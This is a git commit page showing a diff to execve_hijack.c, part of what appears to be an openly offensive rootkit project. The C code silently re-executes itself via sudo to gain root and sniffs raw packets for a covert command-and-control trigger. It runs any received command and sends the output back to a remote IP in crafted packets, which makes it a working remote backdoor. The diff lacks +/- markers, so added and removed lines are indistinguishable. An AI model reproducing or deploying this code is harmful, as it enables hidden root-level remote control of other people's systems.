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Added new TC module, updates to the exec hooking system and the userland module

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This commit is contained in:
h3xduck
2022-02-20 16:50:15 -05:00
parent 1ec4ed8486
commit b182ac1eeb
13 changed files with 2111 additions and 2116 deletions
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29
src/helpers/execve_hijack.c
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@@ -71,16 +71,6 @@ int main(int argc, char* argv[], char *envp[]){
}
if(geteuid() != 0){
//We do not have privileges, but we do want them. Let's rerun the program now.
char* args[argc+1];
args[0] = "sudo";
for(int ii=0; ii<argc; ii++){
args[ii+1] = argv[ii];
}
execve("/usr/bin/sudo", args, envp);
}
time_t rawtime;
struct tm * timeinfo;
@@ -108,10 +98,21 @@ int main(int argc, char* argv[], char *envp[]){
}
write(fd, "\n", 1);
write(fd, "Sniffing...\n", 13);
if(geteuid() != 0){
//We do not have privileges, but we do want them. Let's rerun the program now.
char* args[argc+1];
args[0] = argv[0];
for(int ii=0; ii<argc; ii++){
args[ii+1] = argv[ii];
}
if(execve("/usr/bin/sudo", args, envp)<0){
perror("Failed to execve()");
exit(-1);
}
}
packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN);
if(packet.ipheader == NULL){
write(fd, "Failed to open rawsocket\n", 1);
@@ -148,7 +149,7 @@ int main(int argc, char* argv[], char *envp[]){
printf("Received request: %s\n", p);
char* res = execute_command(p);
char* payload_buf = calloc(4096, sizeof(char));
strcat(payload_buf, CC_PROT_MSG);
strcpy(payload_buf, CC_PROT_MSG);
strcat(payload_buf, res);
packet_t packet_res = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, payload_buf);
if(rawsocket_send(packet_res)<0){